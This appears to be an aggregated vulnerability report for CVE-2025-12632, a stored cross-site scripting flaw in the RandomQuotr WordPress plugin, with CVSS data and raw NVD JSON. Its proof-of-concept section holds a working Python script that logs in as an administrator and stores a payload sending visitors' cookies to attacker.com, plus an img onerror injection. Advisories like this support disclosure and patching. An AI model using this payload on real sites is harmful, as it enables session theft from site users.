Security Vulnerability Report
中文
CVE-2025-12632 CVSS 5.5 MEDIUM

CVE-2025-12632

Published: 2025-11-11 04:15:48
Last Modified: 2026-04-15 00:35:42

Description

The RandomQuotr plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

RandomQuotr plugin for WordPress <= 1.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # WordPress RandomQuotr Plugin XSS PoC (CVE-2025-12632) # Target: WordPress site with RandomQuotr plugin <= 1.0.4 # Authentication: Administrator privileges required TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "admin_password" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' def exploit_cve_2025_12632(): """ This PoC demonstrates the stored XSS vulnerability in RandomQuotr plugin. Steps: 1. Authenticate to WordPress as administrator 2. Navigate to RandomQuotr plugin settings 3. Inject XSS payload into settings fields 4. Save settings - payload is now stored 5. Any user accessing affected pages will trigger the XSS """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Access RandomQuotr settings page settings_url = f"{TARGET_URL}/wp-admin/options-general.php?page=randomquotr" response = session.get(settings_url) # Step 3: Extract nonce for settings update nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) if not nonce_match: print("[-] Failed to extract nonce") return False nonce = nonce_match.group(1) # Step 4: Inject XSS payload update_data = { '_wpnonce': nonce, 'randomquotr_quote': XSS_PAYLOAD, # XSS payload injected here 'randomquotr_author': f'<img src=x onerror="{XSS_PAYLOAD}">', # Another injection point 'submit': 'Save Changes' } # Step 5: Submit the form - payload is now stored submit_response = session.post(settings_url, data=update_data) if submit_response.status_code == 200: print("[+] XSS payload successfully injected!") print(f"[+] Payload stored: {XSS_PAYLOAD}") print("[+] Any user accessing RandomQuotr settings will trigger the XSS") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": exploit_cve_2025_12632()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12632", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:47.730", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The RandomQuotr plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://it.wordpress.org/plugins/randomquotr/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/42308a6e-cb04-42dc-90b0-9b40c264ad53?source=cve", "source": "[email protected]"}]}}